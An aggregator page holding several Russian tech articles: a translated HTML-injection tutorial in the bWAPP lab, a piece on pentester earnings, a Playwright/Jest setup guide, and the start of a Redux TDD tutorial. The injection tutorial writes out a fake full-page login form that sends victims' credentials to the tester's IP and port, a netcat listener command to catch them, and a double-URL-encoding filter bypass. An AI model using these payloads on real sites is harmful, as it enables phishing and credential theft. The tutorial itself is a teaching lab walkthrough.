Русский
Русский
English
Статистика
Реклама

Тестирование веб-приложений

Перевод Подробное руководство по HTML инъекциям

02.12.2020 10:08:40 | Автор: admin


HTML считается каркасом для каждого веб-приложения, определяющим его структуру. Но порой даже самую продуманную экосистему можно испортить парочкой простых скриптов.


Сегодня мы узнаем, как злоумышленники могут получить доступ к веб-приложению с помощью ошибок в его HTML коде.


Содержание:


  • Что такое HTML?
  • Что такое HTML-инъекция?
  • Угрозы HTML-инъекции
  • HTML-инъекция и XSS
  • Типы инъекций
    • Сохраненный HTML
    • Отраженный HTML
      • GET
      • POST
      • Текущий URL
  • Защита от HTML-инъекции

Что такое HTML?


HTML (HyperText Markup Langauge) это основной строительный блок сети, который определяет формирование веб-страниц в веб-приложении. HTML используется для разработки веб-сайтов, состоящих из гипертекста, чтобы включить текст внутри текста в качестве гиперссылки и комбинации элементов, которые визуально отображаются в браузере.


Что такое элемент?


Элемент это основная структурная единица веб-страницы. Он содержит открывающий и закрывающий теги с текстовым содержимым между ними.



HTML-тег


Тег HTML маркирует фрагменты содержимого, такие как:


  • заголовок
  • абзац
  • форма и т. д.

Это имена элементов, заключенные в угловые скобки, которые бывают двух типов:


  • начальный тег (открывающий тег)
  • конечный тег (закрывающий тег)

Браузеры не отображают эти HTML-теги, но используют их для получения содержимого веб-страницы.


Атрибуты HTML


Атрибуты существуют для того, чтобы добавить в элементы дополнительную информацию. Они находятся внутри начального тега и представлены парами имя/значение, так что за именем атрибута следует знак равенства и значение атрибута.


<a href = "https://alexhost.com"> Надежный и быстрый хостинг для ваших сайтов</a>

Здесь:



Теперь посмотрим на блок-схему элементов HTML и попытаемся ее реализовать для создания простой веб-страницы.



Базовая HTML-страница


Каждая веб-страница в Интернете является файлом HTML. Эти файлы представляют собой не что иное, как простые текстовые файлы с расширением .html, которые сохраняются и запускаются через веб-браузер.


Итак, давайте попробуем создать простую веб-страницу в нашем блокноте и сохранить ее как hack.html:


<html><head><title> Hacking Articles lab</title></head><body bgcolor="pink"><br><center><h2>WELCOME TO <a href=http://hackingarticles.in>HACKING ARTILCES </a></h2><br><p>Author Raj Chandel</p></center></body></html>

  • html корневой элемент каждой HTML-страницы
  • head метаинформацию о документе
  • title заголовок веб-страницы
  • body видимое содержимое страницы с атрибутом bgcolor как розовый.
  • br определяет строку разрыва или следующую строку.
  • h1 большой заголовок.
  • p абзац
  • a тег привязки, который помогает нам установить гиперссылку.

С основными моментами HTML разобрались, а для более подробного изучения можно почитать руководство.


Теперь давайте попробуем найти основные лазейки и узнать, как злоумышленники внедряют произвольные коды HTML в уязвимые веб-страницы.


Что такое HTML-инъекция?


HTML-инъекция является одной из самых простых уязвимостей, благодаря чему получила широкое распространение.


Возникает, когда веб-страница не может:


  • Дезинфицировать вводимые пользователем данные
  • Проверить вывод

Благодаря html-инъекции злоумышленник может внедрять вредоносный HTML-код в приложение через уязвимые поля, чтобы он мог изменять содержимое веб-страницы и даже собирать некоторые конфиденциальные данные.


Давайте рассмотрим, как выполняются такие атаки с использованием HTML-инъекции.


Рассмотрим веб-приложение, которое страдает от уязвимости HTML-инъекции и не проверяет какой-либо конкретный ввод. Обнаружив данную уязвимость, злоумышленник вводит свою вредоносную HTML-форму входа с приманкой, например, Бесплатные билеты в кино, чтобы обманом заставить жертву предоставить свои конфиденциальные учетные данные.


Теперь на пораженной странице пользователи будут видеть приманку Бесплатные билеты в кино, при клике по которой откроется фиктивная форма входа, созданная злоумышленником.



Угрозы HTML-инъекции


Когда поля ввода не дезинфицированы должным образом на веб-странице, тогда это может привести к атакам:


  • с использованием межсайтовых скриптов (XSS)
  • подделки запросов на стороне сервера (SSRF)

HTML-инъекция и XSS


На первый взгляд HTML-инъекция во многом похожа на межсайтовый скриптинг. Однако во время XSS-атаки можно внедрять и выполнять Javascript коды, а при HTML-инъекции приходится обходится только определенными HTML тегами.


Теперь давайте углубимся в различные атаки с использованием HTML-инъекции и рассмотрим необычные способы, с помощью которых мы можем испортить веб-страницы и получить учетные данные жертвы.


Сохраненный HTML


Сохраненный HTML внедренный вредоносный скрипт постоянно сохраняется на сервере веб-приложений, который затем передает его обратно пользователю, когда он посещает внедренную веб-страницу. Однако, когда клиент нажимает на полезную нагрузку, которая отображается как официальная часть веб-сайта, внедренный HTML-код запускается браузером. Наиболее распространенный пример сохраненного HTML это опция комментариев в блогах, которая позволяет любому пользователю вводить свой отзыв в форме комментариев для администратора или других пользователей. Давайте теперь попробуем использовать эту сохраненную уязвимость HTML и получить некоторые учетные данные.


Использование сохраненного HTML


Для манипуляция с HTML-инъекциями нам понадобиться приложение bWAPP, которое идет в комплекте с Kali Linux и другими ОС для белого хакинга.


Я открыл целевой IP-адрес в своем браузере и вошел в bWAPP как bee: bug, далее я установил для параметра Choose Your Bug значение HTML Injection Stored (Blog) и активировал кнопку взлома.


Теперь мы будем перенаправлены на веб-страницу, которая страдает от уязвимости HTML-инъекции, позволяющая пользователю отправить свою запись в блог, как показано на снимке экрана.


Для начала мы создадим обычную запись пользователя, чтобы подтвердить, что введенные данные успешно сохранены в базе данных веб-сервера, которая, таким образом, отображается в Поле ввода.



Теперь давайте попробуем внедрить нашу вредоносную полезную нагрузку, которая создаст поддельную форму входа пользователя на эту целевую веб-страницу и перенаправит захваченный запрос на наш IP-адрес. Введите следующий HTML-код в заданное текстовое поле, чтобы настроить HTML-атаку.


<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">Please login with valid credenitals:<br><form name="login" action="http://personeltest.ru/away/192.168.0.7:4444/login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form>


На изображении ниже видно, что при нажатии кнопки Submit появляется новая форма входа, которая теперь находится на веб-сервере приложения и будет отображаться всякий раз при посещении пользователями данной страницы.



Давайте теперь запустим прослушиватель netcat через порт 4444, чтобы перехватывать запросы жертв.


nc lvp 4444

Теперь нужно подождать, пока жертва не загрузит данную страницу в своем браузере и не введет свои учетные данные.



На изображении выше видим, что пользователь Raj открыл веб-страницу и попытался войти в учетную запись с помощью пароля 123. Теперь вернемся к нашему прослушивателю и проверем перехваченные им данные.



На изображении видно, что мы успешно получили учетные данные.


Отраженный HTML


Отраженный HTML возникает, когда веб-приложение немедленно отвечает на введенные пользователем данные, не проверяя их. Это может привести к тому, что злоумышленник внедрит исполняемый код браузера в один ответ HTML.


Вредоносный скрипт не сохраняется на веб-сервере, поэтому злоумышленнику необходимо отправить вредоносную ссылку через фишинг, чтобы поймать пользователя.


Отраженную уязвимость HTML можно легко обнаружить в поисковых системах веб-сайта, так как злоумышленник использует текстовое поле поиска для ввода произвольного HTML-кода. Если веб-сайт уязвим, тогда страница результатов будет возвращена в ответ на эти HTML-объекты.


Отраженный HTML бывает трех типов:


  • Отраженный HTML GET. Запрашивает данные из определенного источника.
  • Отраженный HTML POST. Оправляет данные на сервер для создания/обновления ресурса.
  • Отраженный HTML Текущий URL.

Отраженный HTML GET


Мы создали веб-страницу, на которой пользователи могут оставлять отзывы со своим именем.
Когда пользователь Raj Chandel отправляет свой отзыв как Good, появляется сообщение Thanks to Raj Chandel for your valuable time.



Этот мгновенный ответ и пара имя/значение в URL-адресе показывают, что эта страница может быть уязвима для HTML-инъекции.


Давайте теперь попробуем ввести несколько HTML-кодов в эту форму и проверим уязвима страница или нет.


<h1>Raj Chandel</h1>

Установите "Отзыв" на "Good".


На изображении ниже видно, что имя пользователя Raj Chandel было изменено в качестве заголовка.



Почему это произошло? Давайте посмотрим на следующий фрагмент кода.



Разработчик не настроил никакой проверки ввода, поэтому сайт просто повторя сообщение с благодарностью, к которому добавлялось имя с помощью переменной $ _GET.


Бывают случаи, когда разработчик настраивает некоторые проверки в полях ввода, которые отображают HTML-код обратно на экран без его визуализации.


На изображении видно, что при попытке выполнить HTML-код в поле имени он отбрасывается обратно в виде обычного текста.



Значит ли это, что уязвимость здесь залатана?


Давайте проверим все это, перехватив его исходящий запрос с помощью burp suite, а затем отправим захваченный запрос прямо на вкладку Repeater.



На вкладке Repeater, при нажатии кнопки Go мы видим, что HTML объекты были здесь декодированы:



Копируем весь HTML-код:


<a href = http://hackingarticles.inhibited> <h2> Raj </h2> </a>

Вставляем его во вкладку Decoder, нажимаем Encode as и выбираем URL-адрес.
Когда мы получим закодированный вывод, то снова установим его в Encode as для URL, чтобы получить его как в формате двойного URL-кодирования.



Теперь скопируем полный URL с двойной кодировкой и вставим его в поле name = на вкладке Repeater в параметре Request. Нажмите кнопку GO, чтобы проверить сгенерированный ответ.


Отлично!!! На изображении видно, что ответ успешно обработан.



Теперь остается просто внести аналогичные изменения во вкладку Proxy и нажать кнопку Forward. На изображении видно, что мы испортили данную веб-страницу, используя ее проверенные поля.



Давайте посмотрим на фрагмент кода, чтобы увидеть, где разработчик выполнил проверку ввода.


На изображении ниже видно, что здесь разработчик сделал функцию hack для переменных данных. Он даже декодировал < и > для $data и $input, далее он использовал встроенную PHP-функцию urldecode over для $input для декодирования URL.



На изображении ниже видно, что разработчик реализовал функцию hack в поле имени.



Отраженный HTML POST


Как и в случае с веб-страницей GET, здесь также уязвимы поля Имя и Отзыв.
Поскольку реализован метод POST, то данные формы не будут отображаться в URL-адресе.
Опять попробуем изменить страницу, но в этот раз добавим изображение вместо статического текста.


<img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">

На изображении ниже видно, что логотип Ignite technologies был размещен перед экраном, поэтому злоумышленник может даже внедрить другие медиа-форматы, такие как:


  • Видео
  • Аудио
  • Гифки


Отраженный HTML Текущий URL


Может ли веб-приложение быть уязвимым для HTML-инъекции без полей ввода на веб-странице? Да, необязательно иметь поля ввода, такие как:


  • Поле комментариев
  • Поле поиска
  • Другие поля

Некоторые приложения отображают ваш URL-адрес на своих веб-страницах, который HTML-инъекция использует вместо поля ввода.



На изображении выше вы можете видеть, что текущий URL-адрес отображается на веб-странице как http://192.168.0.16/hack/html_URL.php. Воспользуемся этим преимуществом и посмотрим, что мы можем сграбить.


Настройте свой burp suite и захватите текущий HTTP-запрос.



Теперь обработаем этот запрос с помощью:


/hack/html_URL.php/<h1>Hey_are_you_there?</h1> 

Нажмите кнопку Forward, чтобы проверить результат в браузере.



Отлично!!! На изображении ниже видно, что мы успешно испортили веб-сайт, просто вставив желаемый HTML-код в URL-адрес веб-приложения.



Здесь разработчик использовал глобальную переменную PHP как $ _SERVER для захвата URL-адреса текущей страницы. Кроме того, он изменил имя хоста на HTTP_HOST и запрошенное местоположение ресурса на URL-адрес с REQUEST_URI и поместил все это в переменную $url.



Перейдя в раздел HTML, он просто установил echo с переменной $ url без какой-либо конкретной проверки, чтобы отобразить сообщение с URL-адресом.



Защита от HTML-инъекции


  • Установка HTML-скрипта, который будет фильтровать метасимволы из пользовательского ввода.
  • Реализация функции для проверки вводимых пользователем данных, чтобы они не содержали каких-либо конкретных тегов, которые могут привести к виртуальным искажениям.

image

Подробнее..

50 000 в месяц не проблема, или Сколько на самом деле зарабатывают пентестеры

19.03.2021 20:17:05 | Автор: admin

Пентестер одна из самых неоднозначных профессий в IT сфере. Вроде как специалист по кибербезопасности, который тестирует системы на уязвимости, но в то же время многие воспринимают его как хакера.

Многие люди ошибочно считают, что раз пентестер это почти хакер, то и зарабатывать он должен 300к/наносек (минимум). Накануне старта нового потока нашего курса "Этичный хакер" разберёмся, действительно ли это так.


Чем занимается пентестер

Начнём с начала. Пентестера можно называть как угодно: этичный хакер, тестировщик безопасности систем, специалист по проверке работоспособности, специалист по информационной безопасности. От этого его функции не меняются.

Пентестер это в первую очередь программист и инженер, который тестирует уязвимости информационной системы.

Хакер ищет уязвимости, чтобы их использовать: скачать личные данные, пароли и секретную информацию, доступы к финансовым счетам или внутренней документации. Пентестер ищет уязвимости, чтобы помочь компании от них избавиться. При этом инструменты и техники проникновения могут быть одинаковыми, но цели и принципы отличаются кардинально.

В пул задач пентестера входит:

  • Тест сети и приложений на уязвимости. Найти дырку в информационной системе крупной компании не так сложно. Куда сложнее понять:

    • Почему дырка именно здесь: банальная ошибка, лень, незнание технологии.

    • К чему может привести её использование хакером: потеря данных, проникновение в систему с рут-доступом, слив личной информации клиентов и сотрудников. Пентестер ведь не имеет права использовать уязвимость даже в тестовом формате. Поэтому просто проверить не получится.

    • Как исправить уязвимость, чтобы проблема не вылезла в другом месте и не стала еще более серьёзной.

  • Ведение отчётов по всем проведённым тестам и найденным уязвимостям с подробным их описанием.

  • Разработка общей политики информационной безопасности компании и отдельных сотрудников.

Пентестер ещё до начала работы связан договорами. Его работа и разрешённые тесты чётко регламентированы и отступать от них он не имеет права.

Если в соглашении прописан только тест веб-приложения, то даже попытка взлома базы данных это уже преступление.

Как зарабатывает пентестер

Есть 3 основных пути, по которым может пойти тестировщик безопасности:

  • Присоединиться к команде пентестеров или войти в отдел пентеста крупной компании. Из плюсов здесь полная защищённость со стороны закона, но зарплата не будет особо отличаться от средней в IT-сфере.

  • Открыть ИП и работать по договору. По деньгам здесь можно заработать гораздо больше, но юридические вопросы полностью ложатся на плечи специалиста. Нередки случаи, что за уязвимости, найденные не там, где это было прописано в договоре, пентестеры получали не премию, а уголовное преследование.

  • Работать на Bug Bounty. Оферты для приглашения пентестеров на специальных ресурсах. Нашёл баг или уязвимость получай заранее определённую оплату. Принять участие может любой специалист, главное - придерживаться условий пентеста, которые подробно прописаны в оферте.

Штатный пентестер: зарплата и возможности

Давайте рассмотрим каждую из возможностей поближе. Сначала зарубежный опыт. Начнём с штатного пентестера, который получает фиксированную зарплату.

По данным Indeed, специалист по пентесту в штате компаний США получает в среднем 118 316 долларов год. Это примерно столько же, сколько получает фуллстак разработчик или дата-сайентист.

Но вот Cyber Degrees не так оптимистичны в своих анализах. По данным их ежегодного отчёта, средняя зарплата пентестера в США составляет около 84 690 долларов в год. А это на 27 % меньше, чем даёт Indeed. Существенная разница.

При этом зарплата в профессии сильно зависит от опыта и компетенций специалиста. Новичок в сфере с опытом меньше полугода получает около 66 000 долларов в год, даже если у него обширный опыт в IT-специальностях вроде системного администрирования или разработки.

Middle-специалист, по мнению Cyber Degrees, зарабатывает примерно 106 000 долларов. В целом, даже если учесть разницу между отчетами, общая сумма не слишком отличается от других специальностей, связанных с разработкой и тестированием софта.

А вот портал Glassdoor более пессимистичен в оценках и среднюю зарплату штатного пентестера оценивает в 69 000 долларов. Но нужно учесть, что портал анализирует цифры, предложенные в вакансиях, а не зарплаты реальных специалистов, которые могут быть в разы больше.

Ищут обычно миддлов и новичков, которые хотят перейти в пентест из других специальностей. Спрос на сеньоров довольно небольшой. Они либо ведут свои проекты, либо за них крепко держатся крупные компании.

По состоянию на 14 марта 2021 года, на Indeed открыта 41 вакансия сеньор-пентестера. Для сравнения: там же открыто 6867 вакансий сеньор-разработчика на Python. Можно понять, насколько большой разрыв спроса.

А теперь о ситуации в России. С русскоязычным рынком пентестеров дела обстоят как-то странно. Отдельные крупные компании и филиалы международных концернов нанимают команды пентестеров или пользуются услугами Bug Bounty, но вакансии конкретно пентестера открываются значительно реже.

Дело в том, что функции пентестера часто выполняют другие специалисты. К примеру, тестировщик или системный администратор.

На Хабр Карьера мы не нашли ни одной открытой вакансии пентестера. На hh.ru, по состоянию на 16 марта 2021 года, есть 29 вакансий на позицию пентестера. Но на самом деле только 15, потому что половина к пентесту не имеет никакого отношения.

В чём дело? Их часто ищут в других вакансиях, которые мы назвали выше. А сайты по поиску работы теряются и думают, что это разные вакансии и специальности, поэтому не подтягивают их вместе. Можете считать это первым тестом по специальности.

В сфере ИБ в целом вакансий достаточно, но именно пентестерских позиций немного. Специалист ИБ - это профессионал широкого профиля, с большим объёмом знаний. И понимание уязвимостей, атак и методологии пентеста помогает специалистам ИБ работать на стороне защиты. Мы рассказываем про опыт экспертов, которые работают в безопасной разработке, специалистами по безопасности. Есть ещё bug bounty, когда можно найти уязвимости, выложенные в открытый доступ крупными компаниями. Это уже международный уровень. Кроме того, сертификации в сфере кибербезопасности (CEH, OWASP) и практический боевой опыт повышает ценность специалиста.

Яна Суслова, методист курса Этичный хакер

Рынок только развивается, поэтому востребованность специалистов по безопасности стабильно растёт. Плюс, есть ещё несколько проверенных способов получить работу пентестера, не пользуясь такими сайтами. О них чуть ниже.

Чаще пентестеры работают как самозанятые или в составе отдельных команд. Что приводит нас к следующему разделу.

Пентестер как ИП, самозанятый или часть команды

Несмотря на то, что вакансий пентестеров сейчас не слишком много, рынок начинает понимать, для чего нужны их услуги.

Но для абсолютного большинства компаний малого и среднего бизнеса пентест это разовая или очень редкая акция. Для неё нет смысла нанимать специалиста в штат. Только крупные игроки могут позволить себе нанять штатного инженера по информационной безопасности.

В России это буквально единичные компании. Малый и часть среднего бизнеса нанимают индивидуальных пентестеров, крупный предпочитает нанимать команды с именем и пулом выполненных проектов.

Цена на пентест по договору зависит от многих факторов. В США она стартует от 2500 долларов. В России от 100 000 рублей. Имеет значение, какие именно системы тестируются, как глубоко, какие именно уязвимости на прицеле: только критические или все более-менее серьёзные.

Комплексный пентест зачастую берут команды, состоящие из 4-10 специалистов. Отдельные же задачи (к примеру, анализ уязвимостей баз данных) могут выполнять и индивидуальные специалисты.

В целом за пентест среднестатистический специалист получает 100-200 долларов в час. Но это - грязными, из которых нужно ещё вычесть определенную сумму на налоги и работу юриста с договорами. Без грамотного IT-юриста в пентесте вообще делать нечего даже небольшой косяк в договоре может обернуться большими проблемами для спеца.

Здесь также всплывает самая главная проблема современного рынка пентестов нерегулярность. Пентестер в России не может рассчитывать на полную загрузку только по договорам с российскими компаниями. Ведь абсолютное большинство организаций заказывают пентест не чаще раза в год, а многие значительно реже.

Несмотря на трудности и риски, работа пентестера на себя приносит доход в среднем в 1,5-2 раза выше, чем при оформлении в штат. Но для этого нужно обладать отличными навыками коммуникации и переговоров заниматься ими нужно будет не меньше, чем самими пентестами.

Стабильная загрузка есть в крупных компаниях, которые предоставляют услуги пентеста. Но, по факту, это то же самое, что работа в отделе пентеста любой другой компании. Стабильная загрузка и средняя зарплата.

Чтобы не простаивать зря, многие этичные хакеры пользуются программами Bug Bounty. Переходим к ним.

Bug Bounty: альфа и омега для пентестера

Наконец, переходим к источнику заработка, который абсолютное большинство пентестеров считают своим основным. Программы Bug Bounty.

По информации из открытых источников и наших коллег-пентестеров, среднестатистический этичный хакер может зарабатывать на программах Bug Bounty 2000-3000 долларов в месяц.

Главный плюс программ можно сосредоточиться на уязвимостях, в которых вы хорошо разбираетесь. К примеру, вы профи в разработке приложений для Android и можете искать уязвимости и ошибки в безопасности таких приложений.

Можно вполне успешно работать в одной узкой сфере и нормально зарабатывать.

Топовые багхантеры вполне могут зарабатывать вплоть до 50 000 долларов в месяц. Да, это вполне реально. Опыт Марка Литчфилда это доказывает. В декабре 2015 года он заработал 47 750 долларов, используя ресурсы Hackerone, BugCrowd и программу PayPal.

Иван Григоров, интервью которого лежит на Хабре, также утверждает, что 25 000 долларов в месяц для опытного пентестера не проблема. Тоже рекомендуем почитать.

По более скромным оценкам, пентестеры действительно могут без особых проблем зарабатывать 2000-3000 долларов каждый месяц только на программах Bug Bounty. Но для этого нужно хорошо разбираться как минимум в одной отрасли программирования. Точнее определить сложно, ведь эффективность пентестера и количество обнаруженных уязвимостей прямо зависит от знаний, опыта и времени, которые багхантер уделяет пентесту.

Но можно сделать примерную оценку. На HackerOne за одну минорную уязвимость платят от 50 до 100 долларов.

При этом даже с минимальной оплатой базов в 50 долларов, средняя выплата пентестерам в некоторых компаниях составляет несколько тысяч. Очень многие пентестеры используют автоматический поиск простых багов и рапортуют о них пачками.

Другие же предпочитают искать более серьёзные уязвимости, за которые оплата побольше.

Вот, к примеру, какую оплату предлагает компания PayPal:

За одну критическую уязвимость компания платит от 2000 до 10000 долларов. Понятно, что найти такую уязвимость совсем непросто, но тем не менее.

Тут уже выбор специалиста: искать редкие, серьёзные и дорогие проблемы или же сосредоточиться и находить небольшие, но часто. Всё остальное зависит от скилла пентестера.

И ещё: мы в одном из предыдущих разделов упоминали, как найти работу пентестеру без сайтов по поиску работы. Bug Bounty один из вариантов. Тут есть секрет, который опытные специалисты не раскрывают.

Помимо открытых программ существуют ещё и закрытые, куда специалистов приглашают лично. Это может быть альфа-версия продукта, сайта или системы безопасности, в которой совершенно точно есть баги и их нужно найти. Создавать открытую программу с сырым продуктом слишком дорого. Поэтому приглашают проверенных пентестеров, которые найдут все или почти все серьёзные и критические уязвимости до старта открытого пентеста.

Стать таким приглашённым тестером довольно несложно. Нужно всего лишь качественно работать на открытых программах. Если вы нашли несколько серьёзных багов, разработчик это заметит. Если он будет нуждаться в закрытом пентесте, то пригласит нескольких специалистов, которые хорошо показали себя в программе. Это дешевле, чем нанимать полноценную команду пентеста. А дальше, если всё всех устраивает, это может превратиться либо в стабильный контракт на подряд, либо в полноценное оформление в штат.

Что нужно знать и уметь пентестеру

Про хард-скилы мы писали в первой статье про этичный хакинг: как взламывать системы и при этом зарабатывать легально. Хотелось бы добавить, что нужны не только знания, но и жизненный опыт. Системный администратор с опытом стрессового поднятия сервера или программист на C++, который ищет ошибку в 200 000 строчках кода, из-за которой всё пошло по наклонной имеют большие шансы быть успешными в пентестинге. Не будем забывать про тестировщиков, у которых тоже есть необходимый бэкграунд. Пентестеру нужен практический опыт и предельно чистое понимание, как работает система или хотя бы её часть.

Попасть в пентест новичку сложно, но возможно. Если вы готовы, научиться всему можно на нашем комплексном курсе Этичный хакер, где студентам в освоении материала помогает опытный ментор, а карьерный специалист поможет с трудоустройством.

Узнайте, как прокачаться в других специальностях или освоить их с нуля:

Другие профессии и курсы
Подробнее..

Автотесты на базе playwright и jest

15.11.2020 22:16:27 | Автор: admin

Долгое время основным инструментом для автоматизации тестирования был Selenium. Однако в настоящее время на рынке представлено несколько достойных альтернатив, таких как Cypress, Puppeteer и Playwright. Playwright мы и рассмотрим в данной статье.


Playwright это node js библиотека для автоматизации тестирования с единым API для различных браузеров (Chromium, Firefox and WebKit). Разработанная компанией Microsoft. По моему мнению основным преимуществом Playwright является его тесная интерграция с браузерами и возможность взаимодействовать с браузерами на недоступном для Selenium уровне.


В качестве объекта тестирования развернут open source продукт Kanboard.


Для тестирования будем использовать node js, playwright, jest, jest-playwright-preset и jest-html-reporters. Playwright используем для взаимодействия с браузерами. Jest используем, как тест ранер. Jest-html-reporters нужен для генерации HTML репорта.


Первым шагом создадим node проект и установим все необходимые зависимости:
npm init
npm i -D playwright
npm install --save-dev jest
npm install -D jest-playwright-preset
npm install jest-html-reporters --save-dev


После выполнения этих команд мы получаем package.json и node_modules с необходимыми зависимостями. Для того, чтобы настроить репорт и фолдер с тестами вносим изменения в package.json для jest:


{  "name": "kb-playwright-tests",  "version": "1.0.0",  "description": "An automation test framework which is based on playwright.",  "main": "index.js",  "scripts": {    "test": "jest"  },  "author": "",  "license": "ISC",  "jest": {    "testMatch": [      "**/tests/**/*.[jt]s?(x)",      "**/?(*.)+(spec|test).[jt]s?(x)"    ],    "reporters": [      "default",      "jest-html-reporters"    ]  },  "devDependencies": {    "jest": "^26.6.3",    "jest-html-reporters": "^2.1.0",    "jest-playwright-preset": "^1.4.0",    "playwright": "^1.6.1"  }}

Следующим шагом создаем page objects:


const { DashboardPage } = require("./DashboardPage");var config = require('../config');class SignInPage {  constructor(page) {    this.page = page;  }  async openSignInPage() {    await this.page.goto(config.web.url);  }  async signInAs(user) {    await this.page.fill("css=#form-username", user.username);    await this.page.fill("css=#form-password", user.password);    await this.page.click("css=button[type='submit']");    return new DashboardPage(this.page);  }}module.exports = { SignInPage };

 class DashboardPage {  constructor(page) {    this.page = page;  }}module.exports = { DashboardPage };

Тест будет выглядеть следующим образом:


const { chromium } = require("playwright");const { SignInPage } = require("../pageobjectmodels/SignInPage");const { roles } = require("../enums/roles");const assert = require("assert");var config = require("../config");let browser;let page;beforeAll(async () => {  console.log("headless : " + config.web.headless);  console.log("sloMo : " + config.web.sloMo);  browser = await chromium.launch({    headless: config.web.headless == "true",    slowMo: parseInt(config.web.sloMo, 10),  });});afterAll(async () => {  await browser.close();});beforeEach(async () => {  page = await browser.newPage();  if (config.web.networkSubscription) {    page.on("request", (request) =>      console.log(">>", request.method(), request.url())    );    page.on("response", (response) =>      console.log("<<", response.status(), response.url())    );  }});afterEach(async () => {  await page.close();});test("An admin is able to see a dashboard", async () => {  const signInPage = new SignInPage(page);  await signInPage.openSignInPage();  const dashboardPage = await signInPage.signInAs(roles.ADMIN);  const dashboard = await dashboardPage.page.$("#dashboard");  assert(dashboard);});

Строка browser = await chromium.launch({headless: config.web.headless == "true",slowMo: parseInt(config.web.sloMo, 10),}); позволяет настроить headless режим и задержку.


Блок кода beforeEach позволяет настроить запись network, который выглядит следующим образом:


>> GET http://localhost/kanboard/<< 302 http://localhost/kanboard/>> GET http://localhost/kanboard/?controller=AuthController&action=login<< 200 http://localhost/kanboard/?controller=AuthController&action=login>> GET http://localhost/kanboard/assets/css/vendor.min.css?1576454976>> GET http://localhost/kanboard/assets/css/app.min.css?1576454976>> GET http://localhost/kanboard/assets/js/vendor.min.js?1576454976....

Для того чтобы иметь возможность управлять этими параметрами добавляем config.js


var config = {};config.web = {};config.web.url = process.env.URL || "http://localhost/kanboard/";config.web.headless = process.env.HEADLESS || false;config.web.sloMo = process.env.SLOMO || 50;config.web.networkSubscription = process.env.NETWORK;module.exports = config;

Теперь для запуска тестов можно использовать следующие команды:


npm run test прогон тестов с значениями по умолчанию (Headless false, sloMo 50, networking off)


NETWORK = 'on' npm run test прогон тестов с значениями Headless false, sloMo 50, networking on


HEADLESS = 'true' npm run test прогон тестов с значениями Headless true, sloMo 50, networking off


После прогона тестов будет сгенерирован репорт jest_html_reporters.html


image


Благодарю за внимание и надеюсь, что эта статья была полезной для Вас.

Подробнее..

Кому с Redux жить хорошо

11.02.2021 14:07:02 | Автор: admin
Приветствую всех любителей хорошей инженерки! Меня зовут Евгений Иваха, я фронтенд-разработчик в команде, занимающейся дев-программой в ManyChat. В рамках дев-программы мы разрабатываем инструменты, позволяющие расширять функциональность ManyChat за счет интеграции со сторонними системами.

Существует мнение, что разработка через тестирование, или по канонам Test Driven Development (TDD) для фронтенда не применима. В данной статье я постараюсь развенчать этот миф и покажу, что это не только возможно, но и очень удобно и приятно.

Сам по себе React достаточно понятен любому разработчику, чего не скажешь про Redux. На первый взгляд может показаться, что это какой-то монструозный и непонятный инструмент. Прочитав данную статью, вы узнаете как разрабатывать приложения через тестирование на React, используя Redux, поймёте преимущества его использования, научитесь не открывать браузер при разработке фронтенд-приложений и экономить время на дебаге. Возможно, найдёте что-то новое для себя про написание фронтовых тестов.



Про TDD вообще и частный случай тестирования React-компонентов можно прочитать в статье моего коллеги Андрея, в данном материале я не буду заострять внимания на нюансах, но целиком и полностью пройду весь путь создания приложения через написание тестов.

Любой фронтенд-компонент продукта сам по себе делится на несколько составляющих. Для простоты можно считать, что в браузерном приложении есть свой фронтенд и свой бэкенд. Первый отвечает за непосредственный пользовательский интерфейс, а второй за бизнес-логику. React нам помогает с интерфейсами, а Redux представляет собой очень удобный инструмент для обработки бизнес-логики.

Поскольку, мы в ManyChat в начале 2020 года полностью перешли на TypeScript, будем писать код сразу с использованием строгой типизации.

Redux


Что такое Redux? Redux это паттерн и библиотека для управления и обновления состоянием приложения с использованием специальных событий, называемых Action. Он предоставляет централизованное хранилище состояния, которое используется во всём приложении с правилами, гарантирующими предсказуемое изменение этого состояния. Если посмотреть на диаграмму потока данных в Redux для приложений на React, мы увидим примерно следующее:



При необходимости изменения состояния, например, при клике на элемент в DOM, вызывается Action creator, который создаёт определенный Action. Этот Action c помощью метода Dispatch отправляется в Store, где он передаётся на обработку в Reducers. Редьюсеры, в свою очередь, на основании текущего состояния и информации, которая находится в экшене, возвращают новое состояние приложения, которое принимает React с помощью Selectors для нового рендера DOM. Более подробно о каждом компоненте Redux будет рассказано ниже по ходу разработки приложения.

Такой однонаправленный поток данных даёт множество преимуществ, таких как ослабление связанности компонентов, один источник информации о том, как должно выглядеть и действовать приложение, плюс разделение бизнес-логики и отображения, что приводит к значительному упрощению тестирования кода.

Задача


Создадим форму принятия какого-то пользовательского соглашения. Форма должна содержать чекбокс, который следует отметить пользователем, в случае, если он принимает соглашение, а так же кнопку Submit, которая становится активной только при активации чекбокса. Выглядеть это должно примерно вот так:



Воспользуемся шаблоном create-react-app:

npx create-react-app my-app --template typescriptcd my-appnpm start

Запустили, убедились, что приложение работает.



Можем остановить сборщик, поскольку он понадобится нам ещё очень не скоро. Можем даже закрыть браузер.

Теперь приступим к самому вкусному подключению Redux в наш проект. Т.к. приложение у нас совершенно пустое, мы не знаем структуру стора, оставим его напоследок.

Установим нужные пакеты:
npm i redux react-redux redux-mock-store @types/redux @types/react-redux @types/redux-mock-store  

Actions


Что такое Action? Это обычный Javascript объект, у которого есть обязательное свойство type, в котором содержится, как правило, осознанное имя экшена. Создатели Redux рекомендуют формировать строку для свойства type по шаблону домен/событие. Также в нём может присутствовать дополнительная информация, которая, обычно, складывается в свойство payload. Экшены создаются с помощью Action Creators функций, которые возвращают экшены.

Раз у нас всего лишь чекбоксы, кажется, достаточно одного экшена, отрабатывающего изменение его состояния, нам нужно только придумать ему название или type.

Напишем первый тест. Для тестирования используем уже ставший стандартным фреймворк Jest. Для запуска тестов в следящем режиме, достаточно в корне проекта выполнить команду npm test.
// actions/actions.test.tsimport { checkboxClick } from '.'describe('checkboxClick', () => {  it('returns checkboxClick action with action name in payload', () => {    const checkboxName = 'anyCheckbox'    const result = checkboxClick(checkboxName)    expect(result).toEqual({ type: 'checkbox/click', payload: checkboxName })  })})

